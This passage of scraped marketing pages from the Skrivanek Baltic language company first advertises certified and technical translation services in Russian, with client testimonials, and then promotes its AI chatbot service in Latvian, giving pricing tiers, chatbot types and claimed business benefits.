и целевого языков и профессиональной терминологии. Под влиянием процессов глобализации во всём мире нарастает обмен технической информацией между отечественными и зарубежными информационно-технологическими компаниями, производителями, научно-инновационными центрами и проектировщиками, также расширяются возможности для сотрудничества, поэтому технический перевод становится все более востребован на рынке языковых услуг. Более подробную информацию о других видах перевода можно найти в разделах "перевод и локализация домашних страниц", "устный перевод", "юридический перевод", "рекламный и маркетинговый перевод", "перевод документов" различного типа и "нотариальный перевод". СПЕЦИАЛИЗИРОВАННЫЕ ПЕРЕВОДЫ В нашей работе очень важно правильно использовать отраслевую терминологию, поэтому переводчики Skrivanek Baltic — не только филологи, которые используют современные технологические достижения, но и специалисты по медицине, юриспруденции, инженерным и прочим наукам. Именно это позволяет нам достигать прекрасных результатов. НЕСПЕЦИАЛИЗИРОВАННЫЕ ПЕРЕВОДЫ Качественный перевод — не просто подбор аналогичных слов на другом языке, это передача идей и мыслей, которые необходимо донести до адресата в исходном, неискаженном виде. Мы выполняем срочный перевод документов в случаях, когда не требуются специфические отраслевые знания. МОЖНО ЛИ ЗАКАЗАТЬ ЗАВЕРЕННЫЙ ПЕРЕВОД С НЕМЕЦКОГО НА РУССКИЙ ЯЗЫК | С РУССКОГО НА НЕМЕЦКИЙ ЯЗЫК ОНЛАЙН – НЕ ПРИХОДЯ В ОФИС? Заверенный перевод с немецкого на русский язык можно выполнить онлайн, отправив в Skrivanek файл формата . edoc (документ, подписанный электронной подписью). Вы получите нотариальный перевод в формате . edoc, подписанный переводчиком и заверенный электронной подписью присяжного нотариуса. Эта процедура подходит для документов, выданных такими государственными учреждениями, как Информационный центр, Служба государственных доходов или Регистр предприятий. Запросите ценовое предложение: обратитесь в Skrivanek за ценовым предложением для необходимого вам заверенного перевода. Обязательно предоставьте всю необходимую информацию: вид документа, количество слов, срок выполнения. Отправьте документ: отправьте по электронной почте или загрузите документ на интернет-страницу. Обязательно предоставьте понятные инструкции касательно форматирования или особых условий. Проверьте и утвердите перевод: когда перевод будет готов, мы отправим переведенный документ вам для проверки. Сообщите нам, если потребуется внести правки или изменения. Получите заверенный перевод: после окончательной проверки и утверждения мы отправим вам заверенный перевод электронной или обычной почтой. В КАКИХ СЛУЧАЯХ ЛУЧШЕ ПОРУЧИТЬ ПЕРЕВОД ДОКУМЕНТА НА РУССКИЙ ЯЗЫК ЧЕЛОВЕКУ? Точный и аккуратный перевод: перевод документов на русский язык профессионалом-переводчиком обеспечивает точный и тщательно выверенный результат. Профессиональный лингвист превосходно улавливает верное значение, тональность и культурные особенности текста на исходном языке. Улучшенная коммуникация: точный перевод облегчает коммуникацию между всеми вовлеченными в проект лицами. Перевод, выполненный человеком, гарантирует, что документ будет понятен всем, – сводится к минимуму риск разночтений, улучшается коммуникацию в целом. Готовность к изменениям: в перевод, выполненный человеком, легко внести необходимые изменения. Если вам нужно сделать правку, переводчик легко видоизменит текст, не допуская при этом его искажения. Опыт в конкретных областях знаний: переводчики Skrivanek обладают специальными знаниями в ряде отраслей и знакомы с используемым в них техническим языком. Это обеспечивает точность при переводе сложных документов. Аутентичность и культурное соответствие: перевод, выполненный человеком, обладает аутентичностью и необходимыми культурными особенностями. Переводчики, являющиеся носителями русского языка, создают качественные переводы, придавая тексту надлежащую тональность и соответствие культурному контексту. КАК СНИЗИТЬ ЗАТРАТЫ НА ПЕРЕВОД ДОКУМЕНТА НА РУССКИЙ ЯЗЫК ИЛИ ОБРАТНО БЕЗ УЩЕРБА ДЛЯ КАЧЕСТВА? Выберите надежное бюро переводов: один из способов сократить издержки на перевод документа на русский язык или обратно – выбрать надежное и опытное бюро переводов. Такие компании предлагают услуги высокого качества по конкурентоспособной цене. Упростите исходный текст: чем проще исходный текст, тем легче его переводить, что уменьшает необходимость в лингвистическом анализе и обширных проверках. Кроме того, упрощенный текст облегчает, ускоряет перевод и делает его более точным, сокращая затрачиваемые время и силы. Предоставьте контекст и вспомогательные материалы: наличие контекста и вспомогательных материалов, например глоссариев и каких-либо справочных материалов, может существенно сократить издержки, позволяя переводчикам работать быстрее и с высокой степенью точности. Кроме того, контекст помогает понять переводчикам нюансы и значения отдельных слов и фраз. Выберите правильный тип файла: выбор подходящего типа файла тоже способен снизить стоимость перевода. Предпочтительны текстовые файлы, например, . doc, . txt и . rtf, поскольку их проще открыть, перевести и проверить. Ясный, лаконичный и удобочитаемый текст помогает переводчикам работать эффективнее, ускоряя процесс перевода в целом и снижая издержки на перевод. ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Piedāvājam izbaudīt Skrivanek piedāvātos sarunbotu pakalpojumus. Nodrošiniet atbildes uz klientu jautājumiem 24/7. Sazinieties jau šodien! - Published: 2024-05-20 - Modified: 2025-07-08 - URL: https://skrivanek.lv/pakalpojumi/virtualais-asistents/ - Translation Priorities: Optional KĀPĒC SADARBOTIES AR SKRIVANEK? Skrivanek Baltic ir vadošais valodu uzņēmums Latvijā, kas nodrošina augstu kvalitāti gan mācot svešvalodas, gan nodrošinot tulkošanas pakalpojumus. Mērķis ir ne tikai nodrošināt virtuālā asistenta ieviešanu Jūsu tīmekļa vietnē, bet arī lielisku pieredzi pakalpojumu sniegšanas gaitā. Mūsu klienti novērtē mūs tieši tāpēc. Lūk, ko varat sagaidīt, sadarbojoties ar mums: Iedziļināšanās klienta zīmolā: izstrādājot sarunbotu, mēs ņemam vērā Jūsu zīmola būtību. Izmantosim Jūsu vietnes saturu, lai veidotu sarunbota personību un zināšanu bāzi, nodrošinot, ka tas atspoguļo Jūsu uzņēmuma unikālo raksturu. Dizains un integrācija: mēs personalizēsim Jūsu sarunbota izskatu un funkcionalitāti, lai tas atbilstu Jūsu zīmola būtībai. Nodrošināsim vienmērīgu integrācijas procesu ar Jūsu tīmekļa vietni. Ekspertu zināšanas mākslīgā intelekta un dabiskās valodas apstrādes jomā: mēs izmantojam mākslīgā intelekta un dabiskās valodas apstrādes tehnoloģijas, lai radītu virtuālos asistentus jeb sarunbotus, kas atdarina cilvēku mijiedarbību. Tas ļauj nodrošināt reāllaika, mākslīgā intelekta uzlaboto saziņu, kas var ievērojami palielināt efektivitāti. Starptautiski panākumi: piedāvājam visaptverošu pieeju SaaS (Software as a service) jeb latviski programmatūra kā pakalpojums lokalizācijas pakalpojumiem, kas var palīdzēt Jūsu virtuālajam asistentam pielāgoties jebkuram tirgum un gūt atsaucību lietotāju vidū visā pasaulē. KAS IR SARUNBOTS (CHATBOT) Virtuālais asistents jeb sarunbots ir datorprogramma, kas veido dialogu starp cilvēku un datoru, izpildot cilvēka rīkojumus un veicot datu iegūšanu un attēlošanu. Ieviešot šādas tehnoloģijas risinājumu uzņēmumu, valsts pārvaldes un citu organizāciju tīmekļa vietnes lietotāji tiek apkalpoti daudz efektīvāk, jo virtuālais asistents atbild ātrāk nekā cilvēks, turklāt vienlaikus var norisināties sarunas ar daudziem klientiem dažādās valodās no dažādām valstīm. Virtuālā asistenta funkcionalitātes lietotāji var saņemt vajadzīgo atbildi uzreiz, nav vajadzības ilgi gaidīt atbildi e-pastā, kavēties pie tālruņa, kamēr apkalpošanas speciālists beigs runāt ar kādu citu klientu, vai stāvēt rindā pie uzziņu speciālista. Virtuālā asistenta zināšanu pamatā ir organizācijas tīmekļa vietnes lietotāju visbiežāk uzdotie jautājumi un atbildes. Ir daudz dažādi varianti, kurus var izmantot, lai apzīmētu virtuālos asistentus tekstā vai sarunā, piemēram, čatboti jeb sarunboti, jeb sarunu boti, jeb tērzēšanas roboti. Nepieciešams savs virtuālais asistents jeb čatbots? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai, lai uzzinātu vairāk par sarunbota iespējām, jau tūlīt! STANDARTA – 109 EUR + PVN MĒNESĪ 1600 ziņas mēnesī; informācija par potenciāliem klientiem; uzlabots MI modelis (GPT-4o); virtuālā asistenta apmācība ar 350 datnēm un/vai vietnēm; piekļuve līdz 10 lietotājiem; neierobežots mērķlapu (landing pages) skaits; Messenger integrācija; ierobežotas CRM integrācijas; ”baltās etiķetes” (white label) risinājums; cenā iekļauta virtuālā asistenta apmācība; atbalsts 110+ valodām; 0,02 EUR + PVN par papildu ziņu. BIZNESA – 149 EUR + PVN MĒNESĪ 5000 ziņas mēnesī; informācija par potenciāliem klientiem; uzlabots MI modelis (GPT-4o); virtuālā asistenta apmācība ar 700 datnēm un/vai vietnēm; neierobežots mērķlapu (landing pages) skaits; piekļuve līdz 10 lietotājiem; 5+ CRM integrācijas; Premium klientu atbalsts; ”baltās etiķetes” (white label) risinājums; cenā iekļauta virtuālā asistenta apmācība; atbalsts 110+ valodām; 0,015 EUR + PVN par papildu ziņu. Papildus vietnē ai. skrivanek. pl varēsiet piekļūt visaptverošam informācijas panelim, kurā varēsiet pārraudzīt tērzēšanas vēsturi, izsekot savāktos potenciālos klientus un apkopot vērtīgu informāciju par klientu mijiedarbību. Šāda centralizēta platforma palīdzēs Jums optimizēt sarunbota veiktspēju un uzlabot klientu iesaistes stratēģiju, atbildēt uz klientu jautājumiem vēl precīzāk, padarot virtuālo asistentu par nenovērtējamu uzņēmuma priekšrocību. SARUNBOTU VEIDI DAŽĀDU UZŅĒMĒJDARBĪBAS VAJADZĪBU NODROŠINĀŠANAI Sarunboti ir tikpat daudzveidīgi kā uzņēmumi, kuriem tie kalpo, un katrs no tiem ir veidots, lai apmierinātu konkrētas vajadzības. Vienā spektra galā mums ir uz izvēlni virzīts robots, kas ir ideāli piemērots tiešam klientu atbalstam un potenciālo klientu radīšanai. Šie uz noteikumiem balstītie sarunboti palīdz lietotājiem orientēties starp vairākām iepriekš konfigurētām iespējām, piedāvājot gan paredzamu, gan efektīvu saskarsmes līmeni. Otrā spektra galā ir izsmalcinātie mākslīgā intelekta sarunboti, inteliģentie sarunboti, kas izmanto mašīnmācīšanos, lai pielāgotos un attīstītos, pārvēršot katru klientu saskarsmi par iespēju mācīties. Situācijās, kurās nepieciešama cilvēka uzmanība un galavārds, hibrīda sarunboti piedāvā labāko no abām pasaulēm, apvienojot automatizācijas efektivitāti ar niansētu dzīva profesionāļa izpratni. Tie sāk ar automatizētām sarunām, mēģinot ātri atrisināt lietotāju jautājumus, bet var raiti pārslēgties uz cilvēku, kad saruna kļūst pārāk sarežģīta, lai robots ar to spētu tikt galā. Tas nodrošina, ka, pametot tērzēšanas logu, klienti vienmēr jūtas uzklausīti un viņu problēma ir atrisināta, neatkarīgi no tās sarežģītības. Būtībā sarunbotu veidi ir tikpat dažādi, cik to sniegtās sarunas, nodrošinot, ka ikviens uzņēmums var atrast virtuālo asistentu, kas vislabāk atbilst tā unikālajam stāstījumam. UZ NOTEIKUMIEM BALSTĪTI SARUNBOTI Uz noteikumiem balstīti sarunboti ir visuzticamākie. Tie darbojas pēc “ja/tad” nosacījumu principa, vadoties pēc lietotāju izvēlēm, virzot lietotājus pa strukturētu ceļu. Šie sarunboti ir īpaši lietderīgi uzņēmumiem ar precīzi definētiem lietotāju jautājumiem un nepieciešamību pēc pastāvīgām, uzticamām atbildēm. Izvērtējot konkrētus nosacījumus, piemēram, atslēgvārdus un sinonīmus, šie sarunboti var precīzi virzīt saziņu ar klientu, nodrošinot, ka katra lietotāja jautājums tiek risināts noteiktā veidā. Tomēr uz noteikumiem balstīto sarunbotu stiprās puses var būt arī to vājā vieta. Viņu paļaušanās uz iepriekš noteiktiem noteikumiem nozīmē, ka viņiem var būt grūtības ar neparedzētiem vai sarežģītiem jautājumiem, kas var novest pie klientu neapmierinātības, ja šie jautājumi netiek risināti pareizi. Šeit talkā nāk labi izstrādātas atkāpšanās stratēģijas spēks, nodrošinot drošības tīklu, kas sarunu notur uz pareizā ceļa pat tad, kad robots sasniedz savas ieprogrammētās robežas. Ar pareizo uzstādījumu uz noteikumiem balstītie sarunboti var kalpot kā nenovērtējams rīks, lai pārvaldītu lielu klientu mijiedarbības apjomu, vadītu datplūsmu un nodrošinātu, ka katra saruna ir solis uz atrisinājumu. INTELIĢENTIE SARUNBOTI Inteliģentie sarunboti ir īsti meistari - tie tuvu realitātei atspoguļojot cilvēku mijiedarbību, prasmīgi sazinās ar cilvēkiem. Par gudrību tie var pateikties mašīnmācību algoritmiem, tie mācās no katras saskarsmes, laika gaitā kļūstot gudrākiem un efektīvākiem. Šiem robotiem piemīt kontekstuāla izpratne, atceroties iepriekšējās sarunas un izprotot saziņas nianses, lai nodrošinātu atbilstošu un personisku mijiedarbību, īpaši ar atkārtotiem klientiem. Inteliģento sarunbotu potenciāls turpina paplašināties, jo attīstība mākslīgā intelekta tehnoloģijās jauc robežas un pierāda, ka neiespējamais ir iespējams. Tie attīstās - sākotnēji tie spēja vien sniegt vienkāršas atbildes uz jautājumiem, tagad jau var iesaistīties sarežģītās, empātiskās sarunās un sniegt kontekstuāli bagātas atbildes, pielāgojoties lietotāja stilam. Attīstot savas prasmes cilvēku valodā un dabiskā sarunā, šie inteliģentie sarunboti ievieš radikālas izmaiņas klientu apkalpošanā, piedāvājot saziņas veidu, kas nav tikai automatizēts, bet patiesi saistošs. HIBRĪDA SARUNBOTI Hibrīda sarunboti ir lielisks piemērs klientu apkalpošanas progresam, kur automatizācija apvienojas ar cilvēka intuīciju. Šie sarunboti sāk sarunu, sniedzot ātras atbildes uz bieži uzdotiem jautājumiem un mēģinot patstāvīgi atrisināt jautājumus. Bet, ja klienta vajadzības pārsniedz dialoga iespējas, saruna nemanāmi tiek nodota tiešsaistes aģentam, saglabājot sarunas plūsmu un nezaudējot kontekstu. Šis automatizētā un personalizētā atbalsta apvienojums nodrošina, ka klienti saņem atbilstošu palīdzību savai konkrētajai situācijai. Hibrīda sarunboti efektīvi risina visdažādākos atbalsta scenārijus, sākot no visvienkāršākajiem un beidzot ar pašiem sarežģītākajiem, nodrošinot, ka ikviena klientu saskarsme tiek risināta ar rūpību un precizitāti. Liekot lietā gan mākslīgā intelekta darbināmu sarunbotu, gan cilvēku stiprās puses, uzņēmumi var nodrošināt izcilu pakalpojumu līmeni, kas ir gan efektīvs, gan empātisks un apmierina klientu aizvien pieaugošās vēlmes. KĀDAS IR GALVENĀS SARUNBOTU PRIEKŠROCĪBAS? Iedomājieties pasauli, kurā jau vismaz 88% cilvēku ir sarunājušies ar robotu kaut reizi gadā, un – kāds brīnums - lielākā daļa šo sarunu nav beigušās ar digitālo dueli. Nenoliedzami, čatboti jeb sarunboti, jeb tērzēšanas roboti, jeb arī virtuālie asistenti ir iespraukušies mūsu virtuālajā ikdienā uz palikšanu. 2022. gadā gandrīz 9 no 10 interneta lietotājiem bija tīri labi apraduši ar šiem pļāpīgajiem palīgiem. Tas ir tāpat kā ierasties ballītē un saprast, ka pati interesantākā persona, kuru satikāt, izrādījās tālrunī pieejamais virtuālais asistents. Gribat zināt pašu labāko? Aptaujas liecina, ka 62% no mums labāk izkratītu sirdi sarunbotam nekā pagaidītu 15 minūtes, kamēr dzīvs un elpojošs cilvēks pagodinātu mūs ar atbildi. Šķiet, ka brīdī, kad jāgaida rindā, pacietība nav tikai tikums vien, bet jau sen zaudēta māksla. Un kad pienāk laiks risināt mūsu problēmas, šie sarunboti vairs nav tikai jauks komunikācijas rīks. Viņi tiek galā ar lietotāju jautājumiem un problēmām jau pēc 10 vaicājumiem, 90% gadījumu pat ātrāk. Šāda efektivitāte liek pat pašam pieredzes bagātākajam klientu apkalpošanas speciālistam izbrīnā noelsties. Mēs dzīvojam laikā, kad sarunboti kļūst par mūsu ierastajiem ātro jautājumu atbildētājiem, iepirkšanās asistentiem un, protams, mūsu sāpju un grūtību uzklausītājiem. Ir skaidrs, ka tie ir uz palikšanu. Uzņēmumi jau ietaupa miljardus klientu atbalsta izmaksās, tiek prognozēts, ka kopš sarunbotu tehnoloģijas ieviešanas mazumtirdzniecības patērētāju tēriņi, izmantojot sarunbotu palīdzību, līdz 2024. gadam sasniegs 142 miljardus dolāru. Ja vien mēs varētu tiem iemācīt saprast sarkasmu, tad mēs varbūt spētu izdzīvot šo digitālo pārmaiņu laikmetu ar skaidru prātu un veseliem nerviem. Ar spēju nodrošināt tūlītēju palīdzību reāllaikā laikā mākslīgā intelekta sarunboti ir fundamentāli mainījuši darbu klientu apkalpošanā, pārdošanā un ne tikai. Šie spēcīgie rīki izmanto dabiskās valodas apstrādi personalizētām sarunām un var ievērojami uzlabot apkalpošanas efektivitāti. Turpmāk pastāstīsim, kā sarunbotu tehnoloģija funkcionē, kādas priekšrocības tā sniedz, kādi ir praktiskie pielietojumi un sniegsim padomus to veiksmīgai ieviešanai uzņēmējdarbībā, palīdzot Jums izmantot šo tērzēšanas tehnoloģiju gan klientu apkalpošanā, gan arī uzņēmējdarbības procesu optimizācijā. KĀ IEGŪT SAVU SARUNBOTU – SAZINIETIES AR SKRIVANEK JAU TŪLĪT! Skrivanek sarunbota risinājums – kas tas ir, kā funkcionē un kā var palīdzēt Jums attīstīt uzņēmējdarbību un atvieglot darbu? Sarunbota trenēšana: mēs sākam ar rūpīgu Jūsu zīmola un tā balss tonalitātes izpēti. Par pamatu mēs ņemam Jūsu tīmekļa vietnes saturu, uz kā bāzes mēs trenējam Jūsu sarunbotu, piešķirot tam gan personību, gan iedodot visu nepieciešamo zināšanu bāzi, lai sarunbots orientētos Jūsu produktos un uzņēmuma specifikā. Lai vēl vairāk pielāgotu sarunbotu Jūsu klientu apkalpošanas standartiem, mūsu komanda lūgs atsūtīt jebkādus papildu materiālus. Ļoti ieteicams, lai materiāli būtu PDF vai citu rediģējamu dokumentu formātā, kas mums palīdzēs ietaupīt laiku un būtiski uzlabot sarunbota sniegumu, to vēl vairāk pielāgojot Jūsu vajadzībām un pakalpojumiem. Sarunbota dizains un ieviešana: tālāk mēs strādājam pie sarunbota personalizācijas, piešķirot virtuālajam asistentam Jums vēlamo vizuālo izskatu, vārdu un funkcionalitāti. Mūsu mērķis ir pielāgot sarunbota vizuālos elementus tā, lai tie rezonē ar Jūsu zīmolu. Tādējādi mēs parūpējamies par raitu sarunbota ieviešanas procesu tīmekļa vietnē, nodrošinot Jums visas nepieciešamās detaļas, lai sarunbots varētu strādāt maksimāli efektīvi. Mēs panākam, ka virtuālais asistents ir ne tikai vizuāls līdzeklis, bet arī spēcīgs atbalsta rīks un ir gatavs aktīvi apkalpot klientus. Pēc sekmīgas virtuālā asistenta uztrenēšanas un uzstādīšanas Jūsu tīmekļa vietnē tas kļūst par vidutāju starp Jūsu uzņēmumu un klientiem, nodrošinot viņiem tūlītēju palīdzību reāllaikā turpat, tīmekļa vietnē. KAS TIEŠI IR NEPIECIEŠAMS, LAI IZVEIDOTU UN PILNVEIDOTU JŪSU MĀKSLĪGĀ INTELEKTA SARUNBOTU? Tīmekļa vietnes domēna nosaukums: šis būs primārais avots, no kura mēs izgūsim tekstus par Jūsu zīmolu, nozari un produktiem, ļaujot salāgot sarunbota tonalitāti un funkcionalitāti ar Jūsu uzņēmējdarbības vajadzībām. Papildu materiāli sarunas trenēšanai: ja vēlaties pielāgot sarunbota atbildes savām specifiskām vajadzībām, būsim priecīgi par materiāliem PDF vai citu rediģējamu dokumentu formātā. Šie materiāli kalpos par specializēto zināšanu bāzi Jūsu sarunbotam, nodrošinot, ka tas labi orientējas Jūsu piedāvājumā vai nozares specifikā. Saņemot šos resursus, mēs varēsim izveidot sarunbotu, kas ir ne tikai tehnoloģiski izcils risinājums, bet patiesi atspoguļos Jūsu zīmola būtību, palīdzot piesaistīt jaunus klientus un ātri sniedzot augstas precizitātes informāciju jau esošajiem klientiem. KO VIRTUĀLIE PALĪGI SPĒJ ŠOBRĪD? Mākslīgā intelekta sarunboti palīdz efektīvi atbildēt uz klientu jautājumiem, kamēr klients iepazīstas ar produktu Jūsu tīmekļa vietnē. Tas ir iespējams, pateicoties jaunākajiem sasniegumiem dabiskās valodas apstrādē un mašīnmācībā, nodrošinot Jums klientu atbalstu un mijiedarbību visu diennakti. Sarunboti ir pielāgojami visdažādākajām uzņēmējdarbības vajadzībām, sākot ar vienkāršiem, uz noteikumiem balstītiem sarunbotu modeļiem un beidzot ar sarežģītiem mākslīgā intelekta un hibrīda sarunbotiem, kuros efektivitāte ir apvienota ar niansētu izpratni par sarežģītu jautājumu un problēmsituāciju risināšanu. Veiksmīga sarunbota ieviešana ir atkarīga no gudras platformas izvēles un pareizas sarunbota trenēšanas, lai tas atspoguļotu Jūsu zīmola būtību, lai tiktu nodrošināta datu drošība, un mēs varētu nepārtraukti pilnveidot sarunbota darbspējas, ņemot vērā lietotāju pieredzi un atsauksmes. Kā arī, lai saziņa ar klientiem uzlabotos un būtu maksimāli efektīva neatkarīgi no uzdotā jautājuma. IESPĒJA ATBILDĒT UZ KLIENTU JAUTĀJUMIEM Sarunbota uzstādīšana rada uzņēmumam virtuālo pārstāvību un klātesamību, kas nodrošina iespēju atbildēt klientam uz viņa jautājumiem 24/7, gatavību iesaistīties, izglītot un palīdzēt, samazināt cilvēka darba resursus, kas būtu nepieciešami manuālai atbilžu sagatavošanai, un, visticamāk, palielina arī pakalpojumu vai produktu pārdošanas rādītājus. Iedomājieties sarunbotu, kas: spēj klientus vadīt pa tīmekļa vietni; reāllaikā atbild uz klientu jautājumiem; palīdz kvalificēt potenciālos klientus; zina klientu pirkumu vēsturi. Kas ir pats labākais? Sarunbotu platformu ieviešanai nepieciešams minimāls kodējums, būtiski samazinot visus tehniskos šķēršļus un padarot šo tehnoloģiju pieejamu gan lieliem, gan maziem un vidējiem uzņēmumiem. Jūsu sarunbots runās Jūsu zīmola balsī, kļūstot par galveno klientu apkalpošanas rīku, uzlabojot klientu pieredzi un veicinot aktīvu iesaistīšanos un rīkošanos. MĀKSLĪGĀ INTELEKTA SARUNBOTU VADĪTAS SARUNAS Šie virtuālie sarunu meistari ļoti strauji attīstās, jo ir būtiski pilnveidojusies mākslīgā intelekta spēja veidot dialogus, prasmīgi atdarinot komunikāciju cilvēku starpā. Tie nav vairs tikai iepriekš sagatavoti un ieprogrammēti scenāriji, bet patiešām īsti virtuālie palīgi, kuru pamatā ir jauni zinātniskie sasniegumi mākslīgā intelekta tehnoloģiju jomā. Mākslīgais intelekts, cik vien iespējams, jau spēj noteikt Jūsu garastāvokli, pielāgot sasveicināšanās veidu un pat atcerēties Jūsu iecienītākās picas garnējumu, ņemot vērā iepriekšējo sarunu vēsturi. Kāds ir to noslēpums? Dabiskās valodas apstrādes, mākslīgā intelekta un mašīnmācīšanās kombinācija, kas ļauj sarunbotiem ne tikai saprast tekstu, bet arī mācīties no katras mijiedarbības ar cilvēku. Tādējādi mūsdienu mākslīgā intelekta sarunboti konceptuāli maina klientu apkalpošanas pakalpojumu būtību, padarot to efektīvāku, personiskāku un aktīvāku. KĀ DARBOJAS SARUNBOTU TEHNOLOĢIJA Ko Jūs ieraudzīsiet, ieskatoties dziļāk mākslīgā intelekta sarunbotu tehnoloģijā? Noteikti ne mazu robotu, kas raksta bez mitas, bet gan sarežģītus algoritmus un datu modeļus. Šie sarunboti, kas apstrādā dabisko valodu, var viegli uztvert cilvēku saziņas sarežģītās īpatnības – slengu, rakstu kļūdas un ne tikai – tā nodrošinot, ka tie spēj izprast, ko patiesībā cenšas pateikt klienti. Tas ir tāpat kā sarunāties ar cilvēku, kurš, pateicoties mašīnmācībai, ne tikai klausās, bet arī mācās no katras sarunas. Iedomājieties robotu, kas ar katru “Labdien! ” kļūst arvien labāks – lūk, tā ir nepārtraukta mācīšanās, kur katra saruna ir vēl viena iespēja kļūt labākam. Zināt, kur slēpjas mūsdienu sarunbotu īstā maģija? To atmiņā. Pagātnes mijiedarbības nav tikai vēsturiski dati; tie ir patiesi personiska pakalpojuma nodrošināšanas veiksmes atslēga. Šobrīd, izmantojot tādu tehnoloģiju kā GPT-4, kas ir daļa no mūsu Standarta plāna, šie sarunboti ne tikai spēj veidot saziņu, tie rezonē, piedāvājot tik personalizētu saziņu, ka, šķiet, pazīst Jūs jau gadiem ilgi. Un, protams, neaizmirsīsim, ka šie virtuālie ģēniji tagad ir arī īsti valodu meistari, uzturot sarunas ar klientiem visā pasaulē, reizēm pat izmetot pa kādam jokam. Tātad sarunbots – tās nav tikai atbildes uz jautājumiem, tā ir īsta kontakta un saiknes izveidošana. Un kurš to zina? Varbūt nākamreiz, kad runāsiet ar robotu, tas pārsteigs Jūs ar kādu joku, kas patiesi liks izsmieties! SARUNBOTU LIETOJUMPROGRAMMAS Plašais pielietojuma spektrs izceļ sarunbotu daudzpusību, ļaujot tos izmantot pilnīgi visās dzīves jomās - no bankām līdz medijiem, no lidsabiedrībām līdz mazumtirdzniecībai. Šīs automatizētās programmas, kas atbild klientu pieprasījumiem, ir kļuvušas tikpat daudzpusīgas un noderīgas kā Šveices armijas naži. Sarunboti nodrošina vienotu un nepārtrauktu klātesamību vairākās ziņojumapmaiņas lietojumprogrammās, viegli un vienmērīgi apstrādājot lietotāju mijiedarbību un pieredzi, piedāvājot efektīvu un visuresošu klientu atbalstu. E-komercijā sarunboti ir pārveidojuši iepirkšanās pieredzi, samazinot pamestos virtuālos groziņus un pavadot klientus no meklēšanas līdz pirkšanai ar personalizētiem ieteikumiem un atbalstu. Taču sarunboti - tā nav tikai produktu pārdošana, bet arī veselības kopšana. Veselības aprūpes sarunboti ir kļuvuši par virtuāliem aprūpētājiem, pierakstot vizītes, atrodot klīnikas un pat nodrošinot zāļu informāciju - tas viss ir paredzēts pacientu aprūpes optimizēšanai un veselības aprūpes pieredzes uzlabošanai. Iespēja integrēt sarunbotus mobilajās lietotnēs un tīmekļa vietnēs nozīmē, ka tie var sniegt šos pakalpojumus tieši tur, kur atrodas lietotāji, padarot saziņu ērtu un lietderīgu. Kā virtuālie asistenti tie ir uzticami un draudzīgi, tie vieno uzņēmumus ar to klientiem, nodrošinot, ka ikviena mijiedarbība ir iespēja iesaistīties un gūt gandarījumu. SARUNBOTU IZMANTOŠANAS PRIEKŠROCĪBAS: KLIENTU IESAISTES UN DARBĪBAS EFEKTIVITĀTES UZLABOŠANA Sarunbotu izmantošana piedāvā vairākas priekšrocības, tostarp: 24/7 klientu atbalsta nodrošināšana, neatkarīgi no darbinieku pieejamības; diennakts pakalpojumi, proti, Jūsu klienti saņem tūlītēju palīdzību, kad vien tas ir nepieciešams, tādējādi veicinot iesaistīšanos, rīcību un apmierinātību; sarunbotu mērogojamība ļauj tiem vienlaikus apstrādāt vairākas klientu mijiedarbības; nav nepieciešams liels atbalsta personāls, lai tiktu galā ar klientu jautājumiem, tādējādi tie var samazināt administratīvās un personāla izmaksas. Papildus klientu apkalpošanai sarunboti rāda izcilību: potenciālo klientu piesaistīšanā, sijājot vēsturiskās mijiedarbības un informāciju, lai konstatētu potenciālos pircējus un palīdzētu tos piesaistīt un veikt pirkumu; darbības efektivitātes uzlabošanā, optimizējot apstrādāto datu plūsmas un panākot ātrākus darījumus; dažādu uzņēmējdarbības aspektu uzlabošanā. Integrējot attīstītākos sarunbotus, piemēram, tos, kas izmanto GPT-3 tehnoloģiju, klientu iesaiste sasniedz jaunas virsotnes, jo jautājumi tiek atrisināti acumirklī un saziņa kļūst interaktīvāka. UZLABOTA KLIENTU PIEREDZE Mūsdienu pasaule ir nepārtrauktā steigā, cilvēku vēlme gaidīt sarūk, līdz ar to klienti gaida tūlītēju atbalstu, un tieši to nodrošina sarunboti, kas nekavējoties piedāvā palīdzību jebkurā diennakts laikā. Šis tūlītējais atbalsts kopā ar spēju personalizēt saziņu, izmantojot klientu datus, ievērojami uzlabo klientu pieredzi. Iedomājieties sarunbotu, kas sveicina un uzrunā Jūsu klientus vārdā, sniedz pielāgotus ieteikumus, pamatojoties uz viņu iepriekšējiem 